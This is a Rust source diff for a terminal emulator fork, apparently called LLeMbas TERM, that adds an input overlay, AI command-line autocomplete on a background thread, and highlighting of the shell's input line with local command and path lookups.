let bottom = dims.physical_top
|
||||
+ (dims.viewport_rows as StableRowIndex)
|
||||
.saturating_sub(1)
|
||||
.max(0);
|
||||
if self.delegate.is_alt_screen_active() {
|
||||
return bottom;
|
||||
}
|
||||
let cursor = self.delegate.get_cursor_position();
|
||||
cursor.y.max(dims.physical_top).min(bottom)
|
||||
}
|
||||
|
||||
/// The ask line as a row of the pane, and the column of its cursor.
|
||||
fn line(&self, cols: usize) -> (Line, usize) {
|
||||
let ask = self.state.lock();
|
||||
let view = editor::view(
|
||||
&ask.prefix,
|
||||
ask.editor.chars(),
|
||||
ask.editor.cursor(),
|
||||
cols,
|
||||
&char_width,
|
||||
);
|
||||
let mut prefix = CellAttributes::default();
|
||||
prefix.set_intensity(Intensity::Bold);
|
||||
if let Some(color) = state::options().colors.prefix {
|
||||
prefix.set_foreground(color);
|
||||
}
|
||||
let mut line = Line::with_width(cols, SEQ_ZERO);
|
||||
line.overlay_text_with_attribute(0, &view.lead, prefix, SEQ_ZERO);
|
||||
let lead_cols: usize = view.lead.chars().map(char_width).sum();
|
||||
line.overlay_text_with_attribute(
|
||||
lead_cols,
|
||||
&view.text,
|
||||
CellAttributes::default(),
|
||||
SEQ_ZERO,
|
||||
);
|
||||
(line, view.cursor_col)
|
||||
}
|
||||
}
|
||||
|
||||
impl Pane for AskOverlay {
|
||||
fn pane_id(&self) -> PaneId {
|
||||
self.delegate.pane_id()
|
||||
}
|
||||
|
||||
fn get_title(&self) -> String {
|
||||
self.delegate.get_title()
|
||||
}
|
||||
|
||||
fn send_paste(&self, text: &str) -> anyhow::Result<()> {
|
||||
let mut ask = self.state.lock();
|
||||
if !ask.done {
|
||||
let outcome = ask.editor.insert_text(text);
|
||||
ask.apply(self.delegate.pane_id(), outcome);
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn send_composed_text(&self, text: &str) -> anyhow::Result<()> {
|
||||
self.send_paste(text)
|
||||
}
|
||||
|
||||
fn reader(&self) -> anyhow::Result<Option<Box<dyn std::io::Read + Send>>> {
|
||||
Ok(None)
|
||||
}
|
||||
|
||||
fn writer(&self) -> MappedMutexGuard<'_, dyn std::io::Write> {
|
||||
MutexGuard::map(self.sink.lock(), |sink| {
|
||||
let w: &mut dyn std::io::Write = sink;
|
||||
w
|
||||
})
|
||||
}
|
||||
|
||||
fn resize(&self, size: TerminalSize) -> anyhow::Result<()> {
|
||||
self.delegate.resize(size)
|
||||
}
|
||||
|
||||
fn key_up(&self, _key: KeyCode, _mods: KeyModifiers) -> anyhow::Result<()> {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn key_down(&self, key: KeyCode, mods: KeyModifiers) -> anyhow::Result<()> {
|
||||
let key = match map_key(key, mods.remove_positional_mods()) {
|
||||
Some(key) => key,
|
||||
None => return Ok(()),
|
||||
};
|
||||
let mut ask = self.state.lock();
|
||||
if !ask.done {
|
||||
let outcome = ask.editor.key(key);
|
||||
ask.apply(self.delegate.pane_id(), outcome);
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn mouse_event(&self, _event: MouseEvent) -> anyhow::Result<()> {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn perform_actions(&self, actions: Vec<termwiz::escape::Action>) {
|
||||
self.delegate.perform_actions(actions)
|
||||
}
|
||||
|
||||
fn is_dead(&self) -> bool {
|
||||
self.delegate.is_dead()
|
||||
}
|
||||
|
||||
fn palette(&self) -> ColorPalette {
|
||||
self.delegate.palette()
|
||||
}
|
||||
|
||||
fn domain_id(&self) -> DomainId {
|
||||
self.delegate.domain_id()
|
||||
}
|
||||
|
||||
fn erase_scrollback(&self, erase_mode: ScrollbackEraseMode) {
|
||||
self.delegate.erase_scrollback(erase_mode)
|
||||
}
|
||||
|
||||
fn is_mouse_grabbed(&self) -> bool {
|
||||
false
|
||||
}
|
||||
|
||||
fn is_alt_screen_active(&self) -> bool {
|
||||
false
|
||||
}
|
||||
|
||||
fn set_clipboard(&self, clipboard: &Arc<dyn Clipboard>) {
|
||||
self.delegate.set_clipboard(clipboard)
|
||||
}
|
||||
|
||||
fn get_current_working_dir(&self, policy: CachePolicy) -> Option<Url> {
|
||||
self.delegate.get_current_working_dir(policy)
|
||||
}
|
||||
|
||||
fn get_cursor_position(&self) -> StableCursorPosition {
|
||||
let cols = self.delegate.get_dimensions().cols;
|
||||
let (_, x) = self.line(cols);
|
||||
StableCursorPosition {
|
||||
x,
|
||||
y: self.row(),
|
||||
shape: CursorShape::Default,
|
||||
visibility: CursorVisibility::Visible,
|
||||
}
|
||||
}
|
||||
|
||||
fn get_current_seqno(&self) -> SequenceNo {
|
||||
self.delegate.get_current_seqno()
|
||||
}
|
||||
|
||||
fn get_changed_since(
|
||||
&self,
|
||||
lines: Range<StableRowIndex>,
|
||||
seqno: SequenceNo,
|
||||
) -> RangeSet<StableRowIndex> {
|
||||
let mut dirty = self.delegate.get_changed_since(lines.clone(), seqno);
|
||||
dirty.add(self.row());
|
||||
dirty.intersection_with_range(lines)
|
||||
}
|
||||
|
||||
fn for_each_logical_line_in_stable_range_mut(
|
||||
&self,
|
||||
lines: Range<StableRowIndex>,
|
||||
for_line: &mut dyn ForEachPaneLogicalLine,
|
||||
) {
|
||||
self.delegate
|
||||
.for_each_logical_line_in_stable_range_mut(lines, for_line);
|
||||
}
|
||||
|
||||
fn get_logical_lines(&self, lines: Range<StableRowIndex>) -> Vec<LogicalLine> {
|
||||
self.delegate.get_logical_lines(lines)
|
||||
}
|
||||
|
||||
fn with_lines_mut(&self, lines: Range<StableRowIndex>, with_lines: &mut dyn WithPaneLines) {
|
||||
// Everything of ours is worked out before the pane's own lines are
|
||||
// borrowed, as the terminal's other overlays do.
|
||||
let cols = self.delegate.get_dimensions().cols;
|
||||
let row = self.row();
|
||||
let (line, _) = self.line(cols);
|
||||
|
||||
struct OverlayLines<'a> {
|
||||
with_lines: &'a mut dyn WithPaneLines,
|
||||
row: StableRowIndex,
|
||||
line: Line,
|
||||
}
|
||||
|
||||
impl<'a> WithPaneLines for OverlayLines<'a> {
|
||||
fn with_lines_mut(&mut self, first_row: StableRowIndex, lines: &mut [&mut Line]) {
|
||||
let offset = self.row - first_row;
|
||||
if offset < 0 || offset as usize >= lines.len() {
|
||||
self.with_lines.with_lines_mut(first_row, lines);
|
||||
return;
|
||||
}
|
||||
// The pane's own lines, with the one row replaced by ours.
|
||||
let idx = offset as usize;
|
||||
let (before, rest) = lines.split_at_mut(idx);
|
||||
let (_, after) = rest.split_at_mut(1);
|
||||
let mut refs: Vec<&mut Line> = Vec::with_capacity(before.len() + 1 + after.len());
|
||||
for line in before.iter_mut() {
|
||||
refs.push(&mut **line);
|
||||
}
|
||||
refs.push(&mut self.line);
|
||||
for line in after.iter_mut() {
|
||||
refs.push(&mut **line);
|
||||
}
|
||||
self.with_lines.with_lines_mut(first_row, &mut refs);
|
||||
}
|
||||
}
|
||||
|
||||
self.delegate.with_lines_mut(
|
||||
lines,
|
||||
&mut OverlayLines {
|
||||
with_lines,
|
||||
row,
|
||||
line,
|
||||
},
|
||||
);
|
||||
}
|
||||
|
||||
fn get_lines(&self, lines: Range<StableRowIndex>) -> (StableRowIndex, Vec<Line>) {
|
||||
let cols = self.delegate.get_dimensions().cols;
|
||||
let row = self.row();
|
||||
let (ours, _) = self.line(cols);
|
||||
let (top, mut lines) = self.delegate.get_lines(lines);
|
||||
let offset = row - top;
|
||||
if offset >= 0 && (offset as usize) < lines.len() {
|
||||
lines[offset as usize] = ours;
|
||||
}
|
||||
(top, lines)
|
||||
}
|
||||
|
||||
fn get_dimensions(&self) -> RenderableDimensions {
|
||||
self.delegate.get_dimensions()
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,185 @@
|
||||
//! LLeMbas TERM: the rest of a line asked of LLeMbas, for the suggestion after
|
||||
//! the cursor when the AI's autocomplete is on.
|
||||
//!
|
||||
//! The line so far goes to `lembas complete --shell …` on its standard
|
||||
//! input, off the window's own thread, after a pause in the typing; a request
|
||||
//! that is no longer wanted is stopped. What comes back is a model's text: it
|
||||
//! is cleaned to one plain line and only ever offered, never run.
|
||||
//!
|
||||
//! Whether a line is asked about, how the engine is run and what is kept of
|
||||
//! each attempt for the person is `llembas_line::complete`, which is where
|
||||
//! the tests are; this file gives it the pane and the thread.
|
||||
|
||||
use super::state;
|
||||
use llembas_line::complete::{self, Log, Outcome, Poll, Request, Skip, Tracker};
|
||||
use mux::pane::{CachePolicy, Pane, PaneId};
|
||||
use mux::{Mux, MuxNotification};
|
||||
use parking_lot::Mutex;
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
use std::sync::Arc;
|
||||
use std::time::{Duration, Instant, SystemTime};
|
||||
|
||||
lazy_static::lazy_static! {
|
||||
static ref TRACKER: Mutex<Tracker> = Mutex::new(Tracker::default());
|
||||
/// The last attempts, for "LLeMbas: autocomplete status". In memory only.
|
||||
static ref LOG: Mutex<Log> = Mutex::new(Log::default());
|
||||
}
|
||||
|
||||
/// The next request is the first after autocomplete was switched on or its
|
||||
/// model changed: it is given longer.
|
||||
static COLD: AtomicBool = AtomicBool::new(true);
|
||||
|
||||
/// The shell in front of a pane, as `lembas complete --shell` takes it;
|
||||
/// `None` when the program in front is no shell (`ssh`, a database client,
|
||||
/// an editor): what is typed there is not a command line of this machine.
|
||||
/// The same shells as `SHELLS` in `llembas/lua/llembas/core.lua` that write
|
||||
/// a command line the way bash, zsh or fish do.
|
||||
pub fn shell_of(pane: &Arc<dyn Pane>) -> Option<&'static str> {
|
||||
let name = pane.get_foreground_process_name(CachePolicy::AllowStale)?;
|
||||
let base = name
|
||||
.rsplit(|c: char| c == '/' || c == '\\')
|
||||
.next()
|
||||
.unwrap_or("");
|
||||
match base.trim_start_matches('-') {
|
||||
"zsh" => Some("zsh"),
|
||||
"fish" => Some("fish"),
|
||||
"bash" | "sh" | "dash" | "ksh" | "mksh" => Some("bash"),
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
fn still_wanted(id: u64) -> bool {
|
||||
TRACKER.lock().still_wanted(id)
|
||||
}
|
||||
|
||||
fn ask(id: u64, pane_id: PaneId, req: Request) {
|
||||
std::thread::sleep(Duration::from_millis(complete::PAUSE_MS));
|
||||
if !still_wanted(id) {
|
||||
return;
|
||||
}
|
||||
let at = SystemTime::now();
|
||||
let started = Instant::now();
|
||||
let (outcome, decisions) = complete::run_said(&req, &|| still_wanted(id));
|
||||
let took = started.elapsed().as_millis() as u64;
|
||||
if outcome == Outcome::Cancelled {
|
||||
// the person typed on: the newer line is asked about instead
|
||||
return;
|
||||
}
|
||||
// in the terminal's log (the debug overlay shows it), without the line
|
||||
match &outcome {
|
||||
Outcome::Suggestion(_) | Outcome::Nothing(_) => {
|
||||
log::debug!(
|
||||
"LLeMbas autocomplete: {} after {} ms",
|
||||
if outcome.rest().is_some() {
|
||||
"a suggestion"
|
||||
} else {
|
||||
"nothing"
|
||||
},
|
||||
took
|
||||
);
|
||||
}
|
||||
other => log::warn!("LLeMbas autocomplete ({}): {}", req.cli, other.sentence()),
|
||||
}
|
||||
if matches!(outcome, Outcome::Suggestion(_) | Outcome::Nothing(_)) {
|
||||
// the engine answered: the model is there
|
||||
COLD.store(false, Ordering::Relaxed);
|
||||
}
|
||||
let rest = outcome.rest();
|
||||
{
|
||||
let mut log = LOG.lock();
|
||||
log.attempt(at, &req.line, took, outcome);
|
||||
log.decisions(decisions);
|
||||
}
|
||||
TRACKER.lock().finish(id, pane_id, req.line, rest);
|
||||
state::changed();
|
||||
Mux::notify_from_any_thread(MuxNotification::PaneOutput(pane_id));
|
||||
}
|
||||
|
||||
/// Nothing was asked about the line that is typed now, and why: for the
|
||||
/// status.
|
||||
pub fn skipped(why: Skip) {
|
||||
// what is true of nearly every line is not worth keeping in place of a
|
||||
// reason that says something
|
||||
if matches!(why, Skip::Off | Skip::Empty | Skip::NotAtEnd) {
|
||||
return;
|
||||
}
|
||||
LOG.lock().skip(SystemTime::now(), why);
|
||||
}
|
||||
|
||||
/// What is on changed (the model, the directory's settings): a line that was
|
||||
/// answered may be asked about again.
|
||||
pub fn forget_answers(cold: bool) {
|
||||
TRACKER.lock().forget();
|
||||
if cold {
|
||||
COLD.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
|
||||
/// The terminal's side of the autocomplete in words, for the person.
|
||||
pub fn status() -> String {
|
||||
let options = state::options();
|
||||
let mut text = LOG.lock().status(
|
||||
SystemTime::now(),
|
||||
&options.cli,
|
||||
&options.ac_model,
|
||||
options.ac_timeout_ms,
|
||||
);
|
||||
if COLD.load(Ordering::Relaxed) {
|
||||
text.push_str(&format!(
|
||||
"\nthe next request is given {} ms: the first after a change, for a model that may have to be loaded",
|
||||
complete::timeout_for(options.ac_timeout_ms, true)
|
||||
));
|
||||
}
|
||||
if !options.ai_complete {
|
||||
text = format!(
|
||||
"The terminal is not asking now: AI autocomplete (or AI) is off.\n{}",
|
||||
text
|
||||
);
|
||||
}
|
||||
text
|
||||
}
|
||||
|
||||
/// The rest of the line, when LLeMbas has answered for exactly this line.
|
||||
/// Otherwise `None`, and LLeMbas is asked (once for a line): when the answer
|
||||
/// comes the pane is drawn again. The caller has decided that the line is
|
||||
/// asked about (`llembas_line::complete::decide`).
|
||||
pub fn suggestion(
|
||||
pane: &Arc<dyn Pane>,
|
||||
typed: &str,
|
||||
options: &state::Options,
|
||||
cwd: String,
|
||||
shell: &'static str,
|
||||
) -> Option<String> {
|
||||
let pane_id = pane.pane_id();
|
||||
let id = match TRACKER.lock().poll(pane_id, typed) {
|
||||
Poll::Answer(rest) => return rest,
|
||||
Poll::Waiting => return None,
|
||||
Poll::Start(id) => id,
|
||||
};
|
||||
let req = Request {
|
||||
cli: options.cli.clone(),
|
||||
shell: shell.to_string(),
|
||||
cwd,
|
||||
line: typed.to_string(),
|
||||
model: options.ac_model.clone(),
|
||||
timeout_ms: complete::timeout_for(options.ac_timeout_ms, COLD.load(Ordering::Relaxed)),
|
||||
version: config::llembas_term_version().to_string(),
|
||||
debug: options.ac_debug,
|
||||
};
|
||||
let spawned = std::thread::Builder::new()
|
||||
.name("llembas-complete".to_string())
|
||||
.spawn(move || ask(id, pane_id, req));
|
||||
if let Err(err) = spawned {
|
||||
log::warn!(
|
||||
"LLeMbas: could not start a thread to ask for a completion: {:#}",
|
||||
err
|
||||
);
|
||||
LOG.lock().attempt(
|
||||
SystemTime::now(),
|
||||
typed,
|
||||
0,
|
||||
Outcome::NotStarted(format!("no thread: {}", err)),
|
||||
);
|
||||
}
|
||||
None
|
||||
}
|
||||
@@ -0,0 +1,955 @@
|
||||
//! LLeMbas TERM: what the terminal draws on the shell's input line.
|
||||
//!
|
||||
//! - the rest of the line, dimmed after the cursor: from the terminal's own
|
||||
//! history of commands, or from LLeMbas when the AI's autocomplete is on;
|
||||
//! - the command line in colours;
|
||||
//! - a word from the terminal at the cursor's row, for a moment.
|
||||
//!
|
||||
//! All of it is drawn at the moment a pane is painted and nowhere else:
|
||||
//! nothing is written to the pane, and the terminal's own model of the screen
|
||||
//! is not touched. The pane's lines are handed to the painter as they are,
|
||||
//! except for the few rows that are drawn differently, which are copies. The
|
||||
//! same way the terminal's quick select marks its matches.
|
||||
//!
|
||||
//! It needs the shell integration (which marks the cells of the input line)
|
||||
//! and is off for a pane while a full-screen program has it.
|
||||
//!
|
||||
//! What a line of text means is `llembas_line` (the input line among the
|
||||
//! cells, the parts of a command line, the history); this file fetches the
|
||||
//! cells and places the result.
|
||||
|
||||
use super::{complete, state};
|
||||
use llembas_line::complete::{decide, dir_of_url_path, same_host, Conditions};
|
||||
use llembas_line::suggest;
|
||||
use llembas_line::tokens::{self, Kind, Role};
|
||||
use llembas_line::zone::{self, Zone};
|
||||
use mux::pane::{CachePolicy, Pane, PaneId, WithPaneLines};
|
||||
use mux::renderable::{RenderableDimensions, StableCursorPosition};
|
||||
use mux::Mux;
|
||||
use parking_lot::Mutex;
|
||||
use std::collections::{HashMap, HashSet};
|
||||
use std::io::Write;
|
||||
use std::ops::Range;
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::sync::Arc;
|
||||
use std::time::{Duration, Instant};
|
||||
use termwiz::cell::{CellAttributes, Intensity, SemanticType};
|
||||
use termwiz::color::ColorAttribute;
|
||||
use termwiz::surface::{SequenceNo, SEQ_ZERO};
|
||||
use wezterm_term::{Line, StableRowIndex};
|
||||
|
||||
/// An input line of more rows than this is left alone.
|
||||
const MAX_ROWS: usize = 3;
|
||||
/// How long it is remembered whether a command exists.
|
||||
const COMMAND_MEMORY: Duration = Duration::from_secs(20);
|
||||
/// How long what a directory of `PATH` holds, and which file systems are
|
||||
/// mounted where, is taken as it was read.
|
||||
const LISTING_MEMORY: Duration = Duration::from_secs(60);
|
||||
/// The most names kept of one directory of `PATH`.
|
||||
const LISTING_MAX: usize = 20_000;
|
||||
|
||||
/// What is drawn differently on one row.
|
||||
#[derive(Debug, Clone)]
|
||||
struct RowPlan {
|
||||
row: StableRowIndex,
|
||||
/// The text colour of some cells: first column, columns, colour.
|
||||
colors: Vec<(usize, usize, ColorAttribute)>,
|
||||
/// Text placed from a column on.
|
||||
texts: Vec<(usize, String, CellAttributes)>,
|
||||
}
|
||||
|
||||
/// What is drawn differently in a pane.
|
||||
#[derive(Debug, Clone, Default)]
|
||||
pub struct Plan {
|
||||
/// By row, each row once.
|
||||
rows: Vec<RowPlan>,
|
||||
/// The rest of the line that is offered after the cursor, all of it.
|
||||
pub suggestion: Option<String>,
|
||||
}
|
||||
|
||||
impl Plan {
|
||||
fn row_mut(&mut self, row: StableRowIndex) -> &mut RowPlan {
|
||||
let at = match self.rows.iter().position(|r| r.row == row) {
|
||||
Some(at) => at,
|
||||
None => {
|
||||
self.rows.push(RowPlan {
|
||||
row,
|
||||
colors: Vec::new(),
|
||||
texts: Vec::new(),
|
||||
});
|
||||
self.rows.len() - 1
|
||||
}
|
||||
};
|
||||
&mut self.rows[at]
|
||||
}
|
||||
}
|
||||
|
||||
/// What a plan was worked out for. While it is the same, so is the plan.
|
||||
#[derive(Debug, Clone, PartialEq)]
|
||||
struct PlanKey {
|
||||
seqno: SequenceNo,
|
||||
x: usize,
|
||||
y: StableRowIndex,
|
||||
cols: usize,
|
||||
top: StableRowIndex,
|
||||
active: bool,
|
||||
generation: u64,
|
||||
}
|
||||
|
||||
lazy_static::lazy_static! {
|
||||
static ref PLANS: Mutex<HashMap<PaneId, (PlanKey, Option<Arc<Plan>>)>> =
|
||||
Mutex::new(HashMap::new());
|
||||
/// Whether a command exists, and when that was looked up.
|
||||
static ref COMMANDS: Mutex<HashMap<String, (bool, Instant)>> = Mutex::new(HashMap::new());
|
||||
/// The names in each directory of `PATH`, and when they were read; `None`
|
||||
/// for a directory that is not looked into (another machine's files).
|
||||
static ref LISTINGS: Mutex<HashMap<PathBuf, (Option<HashSet<String>>, Instant)>> =
|
||||
Mutex::new(HashMap::new());
|
||||
/// The mount points whose files are another machine's (or behind an
|
||||
/// automounter), and when they were read.
|
||||
static ref REMOTE_MOUNTS: Mutex<Option<(Vec<PathBuf>, Instant)>> = Mutex::new(None);
|
||||
}
|
||||
|
||||
/// File systems whose files may be on another machine, or only reached by
|
||||
/// mounting them: a `stat` there can take long or hang, and it would be done
|
||||
/// while the window is painted. Such paths are never looked at.
|
||||
fn is_remote_fs(fstype: &str) -> bool {
|
||||
matches!(
|
||||
fstype,
|
||||
"nfs"
|
||||
| "nfs4"
|
||||
| "cifs"
|
||||
| "smb3"
|
||||
| "smbfs"
|
||||
| "9p"
|
||||
| "drvfs"
|
||||
| "afs"
|
||||
| "ceph"
|
||||
| "glusterfs"
|
||||
| "lustre"
|
||||
| "davfs"
|
||||
| "autofs"
|
||||
| "fuse"
|
||||
| "fuseblk"
|
||||
) || fstype.starts_with("fuse.")
|
||||
}
|
||||
|
||||
/// Is this path on such a file system (or under one)? By `/proc/self/mounts`,
|
||||
/// read at most once a minute; where it cannot be read, nothing is.
|
||||
fn on_remote_fs(path: &Path) -> bool {
|
||||
let mut cached = REMOTE_MOUNTS.lock();
|
||||
let fresh = matches!(&*cached, Some((_, at)) if at.elapsed() < LISTING_MEMORY);
|
||||
if !fresh {
|
||||
let mut remote = Vec::new();
|
||||
if let Ok(mounts) = std::fs::read_to_string("/proc/self/mounts") {
|
||||
for line in mounts.lines().take(4096) {
|
||||
let mut fields = line.split(' ');
|
||||
let (point, fstype) = match (fields.nth(1), fields.next()) {
|
||||
(Some(point), Some(fstype)) => (point, fstype),
|
||||
_ => continue,
|
||||
};
|
||||
if is_remote_fs(fstype) {
|
||||
// the kernel writes a space in a mount point as \040
|
||||
remote.push(PathBuf::from(point.replace("\\040", " ")));
|
||||
}
|
||||
}
|
||||
}
|
||||
*cached = Some((remote, Instant::now()));
|
||||
}
|
||||
match &*cached {
|
||||
Some((remote, _)) => remote.iter().any(|point| path.starts_with(point)),
|
||||
None => false,
|
||||
}
|
||||
}
|
||||
|
||||
/// Is `word` a name in this directory of `PATH`? From a listing of the
|
||||
/// directory read at most once a minute, never a `stat` per word typed.
|
||||
fn listed(dir: &Path, word: &str) -> bool {
|
||||
let mut listings = LISTINGS.lock();
|
||||
let stale = match listings.get(dir) {
|
||||
Some((_, at)) => at.elapsed() >= LISTING_MEMORY,
|
||||
None => true,
|
||||
};
|
||||
if stale {
|
||||
let names = if !dir.is_absolute() || on_remote_fs(dir) {
|
||||
None
|
||||
} else {
|
||||
let mut names = HashSet::new();
|
||||
if let Ok(entries) = std::fs::read_dir(dir) {
|
||||
for entry in entries.flatten().take(LISTING_MAX) {
|
||||
if let Some(name) = entry.file_name().to_str() {
|
||||
names.insert(name.to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
Some(names)
|
||||
};
|
||||
if listings.len() > 256 {
|
||||
listings.clear();
|
||||
}
|
||||
listings.insert(dir.to_path_buf(), (names, Instant::now()));
|
||||
}
|
||||
match listings.get(dir) {
|
||||
Some((Some(names), _)) => names.contains(word),
|
||||
_ => false,
|
||||
}
|
||||
}
|
||||
|
||||
/// The columns a character takes.
|
||||
fn char_width(c: char) -> usize {
|
||||
let mut buf = [0u8; 4];
|
||||
wezterm_term::unicode_column_width(c.encode_utf8(&mut buf), None)
|
||||
}
|
||||
|
||||
fn text_width(text: &str) -> usize {
|
||||
text.chars().map(char_width).sum()
|
||||
}
|
||||
|
||||
/// The cells of a line, for `llembas_line::zone`.
|
||||
fn row_of(line: &Line) -> zone::Row {
|
||||
line.visible_cells()
|
||||
.map(|cell| zone::Cell {
|
||||
col: cell.cell_index(),
|
||||
width: cell.width(),
|
||||
text: cell.str().to_string(),
|
||||
input: cell.attrs().semantic_type() == SemanticType::Input,
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
|
||||
/// The column after the last cell of a line that shows something.
|
||||
fn used_cols(line: &Line) -> usize {
|
||||
let mut used = 0;
|
||||
for cell in line.visible_cells() {
|
||||
if !cell.str().trim().is_empty() {
|
||||
used = cell.cell_index() + cell.width().max(1);
|
||||
}
|
||||
}
|
||||
used
|
||||
}
|
||||
|
||||
/// The blank columns of a line from column `from` on, up to the first cell
|
||||
/// that shows something.
|
||||
fn blank_room(line: &Line, from: usize, cols: usize) -> usize {
|
||||
if from >= cols {
|
||||
return 0;
|
||||
}
|
||||
let mut end = cols;
|
||||
for cell in line.visible_cells() {
|
||||
if cell.cell_index() >= from && !cell.str().trim().is_empty() {
|
||||
end = cell.cell_index().min(cols);
|
||||
break;
|
||||
}
|
||||
}
|
||||
end.saturating_sub(from)
|
||||
}
|
||||
|
||||
#[cfg(unix)]
|
||||
fn this_host() -> Option<String> {
|
||||
let mut buf = [0u8; 256];
|
||||
let rc = unsafe { libc::gethostname(buf.as_mut_ptr() as *mut libc::c_char, buf.len() - 1) };
|
||||
if rc != 0 {
|
||||
return None;
|
||||
}
|
||||
let len = buf.iter().position(|b| *b == 0).unwrap_or(buf.len());
|
||||
Some(String::from_utf8_lossy(&buf[..len]).to_lowercase())
|
||||
}
|
||||
|
||||
#[cfg(not(unix))]
|
||||
fn this_host() -> Option<String> {
|
||||
None
|
||||
}
|
||||
|
||||
/// Is `host` (of a pane's directory, as its shell reported it) this machine?
|
||||
fn is_this_host(host: &str) -> bool {
|
||||
if host.is_empty() || host == "localhost" {
|
||||
return true;
|
||||
}
|
||||
same_host(host, this_host().as_deref())
|
||||
}
|
||||
|
||||
/// What can be looked up for a pane whose shell is on this machine: whether a
|
||||
/// command exists and whether a path does. `None` for a shell somewhere else
|
||||
/// (a pane of another domain, or `ssh` inside a pane), where this machine's
|
||||
/// files say nothing.
|
||||
struct Lookups {
|
||||
cwd: Option<PathBuf>,
|
||||
}
|
||||
|
||||
impl Lookups {
|
||||
fn for_pane(pane: &Arc<dyn Pane>) -> Option<Lookups> {
|
||||
let mux = Mux::try_get()?;
|
||||
let domain = mux.get_domain(pane.domain_id())?;
|
||||
if domain.domain_name() != "local" {
|
||||
return None;
|
||||
}
|
||||
let cwd = match pane.get_current_working_dir(CachePolicy::AllowStale) {
|
||||
Some(url) => {
|
||||
if !is_this_host(url.host_str().unwrap_or("")) {
|
||||
return None;
|
||||
}
|
||||
// The shell integration reports `file://<host><directory>`,
|
||||
// and the URL's own "to a file path" refuses every URL that
|
||||
// names a host: so the path is decoded for what it is.
|
||||
dir_of_url_path(url.path()).map(PathBuf::from)
|
||||
}
|
||||
None => None,
|
||||
};
|
||||
Some(Lookups { cwd })
|
||||
}
|
||||
|
||||
/// The directory a program started for this pane is given: the pane's
|
||||
/// own, else the person's home.
|
||||
fn dir(&self) -> String {
|
||||
self.cwd
|
||||
.as_ref()
|
||||
.and_then(|cwd| cwd.to_str())
|
||||
.filter(|cwd| cwd.starts_with('/'))
|
||||
.map(|cwd| cwd.to_string())
|
||||
.unwrap_or_else(|| config::HOME_DIR.to_string_lossy().into_owned())
|
||||
}
|
||||
|
||||
/// A word as a path of this machine; `None` when it cannot be one.
|
||||
fn resolve(&self, word: &str) -> Option<PathBuf> {
|
||||
if word.is_empty() || word.len() > 512 {
|
||||
return None;
|
||||
}
|
||||
if word == "~" {
|
||||
return Some(config::HOME_DIR.clone());
|
||||
}
|
||||
if let Some(rest) = word.strip_prefix("~/") {
|
||||
return Some(config::HOME_DIR.join(rest));
|
||||
}
|
||||
if word.starts_with('~') {
|
||||
return None;
|
||||
}
|
||||
let path = Path::new(word);
|
||||
if path.is_absolute() {
|
||||
return Some(path.to_path_buf());
|
||||
}
|
||||
self.cwd.as_ref().map(|cwd| cwd.join(path))
|
||||
}
|
||||
|
||||
fn path_exists(&self, word: &str) -> bool {
|
||||
match self.resolve(word) {
|
||||
// never a path whose files may be another machine's: a `stat`
|
||||
// there can hang the window
|
||||
Some(path) => !on_remote_fs(&path) && path.exists(),
|
||||
None => false,
|
||||
}
|
||||
}
|
||||
|
||||
fn command_exists(&self, word: &str) -> bool {
|
||||
if word.is_empty() {
|
||||
return false;
|
||||
}
|
||||
if tokens::is_builtin(word) {
|
||||
return true;
|
||||
}
|
||||
if word.contains('/') {
|
||||
return match self.resolve(word) {
|
||||
Some(path) => !on_remote_fs(&path) && is_program(&path),
|
||||
None => false,
|
||||
};
|
||||
}
|
||||
let now = Instant::now();
|
||||
let mut known = COMMANDS.lock();
|
||||
if let Some((exists, at)) = known.get(word) {
|
||||
if now.duration_since(*at) < COMMAND_MEMORY {
|
||||
return *exists;
|
||||
}
|
||||
}
|
||||
// a name in a directory's listing, and only then one look at that
|
||||
// file (is it a program)
|
||||
let exists = match std::env::var_os("PATH") {
|
||||
Some(path) => std::env::split_paths(&path)
|
||||
.any(|dir| listed(&dir, word) && is_program(&dir.join(word))),
|
||||
None => false,
|
||||
};
|
||||
if known.len() > 1024 {
|
||||
known.clear();
|
||||
}
|
||||
known.insert(word.to_string(), (exists, now));
|
||||
exists
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(unix)]
|
||||
fn is_program(path: &Path) -> bool {
|
||||
use std::os::unix::fs::PermissionsExt;
|
||||
match std::fs::metadata(path) {
|
||||
Ok(meta) => meta.is_file() && meta.permissions().mode() & 0o111 != 0,
|
||||
Err(_) => false,
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(not(unix))]
|
||||
fn is_program(path: &Path) -> bool {
|
||||
path.is_file()
|
||||
}
|
||||
|
||||
/// THE answer to "is this pane's shell on this machine, and in which
|
||||
/// directory" (the layer asks it through `wezterm.llembas.local_dir`): the
|
||||
/// directory when the pane is of the local domain and its shell reported a
|
||||
/// directory of this machine; `None` otherwise.
|
||||
pub fn local_dir(pane: &Arc<dyn Pane>) -> Option<String> {
|
||||
let lookups = Lookups::for_pane(pane)?;
|
||||
let cwd = lookups.cwd?;
|
||||
let cwd = cwd.to_str()?;
|
||||
if cwd.starts_with('/') {
|
||||
Some(cwd.to_string())
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
|
||||
/// The colours of the input line.
|
||||
fn highlight(
|
||||
pane: &Arc<dyn Pane>,
|
||||
colors: &state::Colors,
|
||||
zone: &Zone,
|
||||
top: StableRowIndex,
|
||||
plan: &mut Plan,
|
||||
) {
|
||||
let parsed = tokens::parse(&zone.text);
|
||||
if parsed.tokens.is_empty() {
|
||||
return;
|
||||
}
|
||||
let mut token_colors: Vec<state::Color> = parsed
|
||||
.tokens
|
||||
.iter()
|
||||
.map(|token| match token.kind {
|
||||
Kind::Option => colors.option,
|
||||
Kind::String => colors.string,
|
||||
Kind::Variable => colors.variable,
|
||||
Kind::Operator => colors.operator,
|
||||
Kind::Comment => colors.comment,
|
||||
// decided below, by what the word turns out to be
|
||||
Kind::Command | Kind::Word => None,
|
||||
})
|
||||
.collect();
|
||||
|
||||
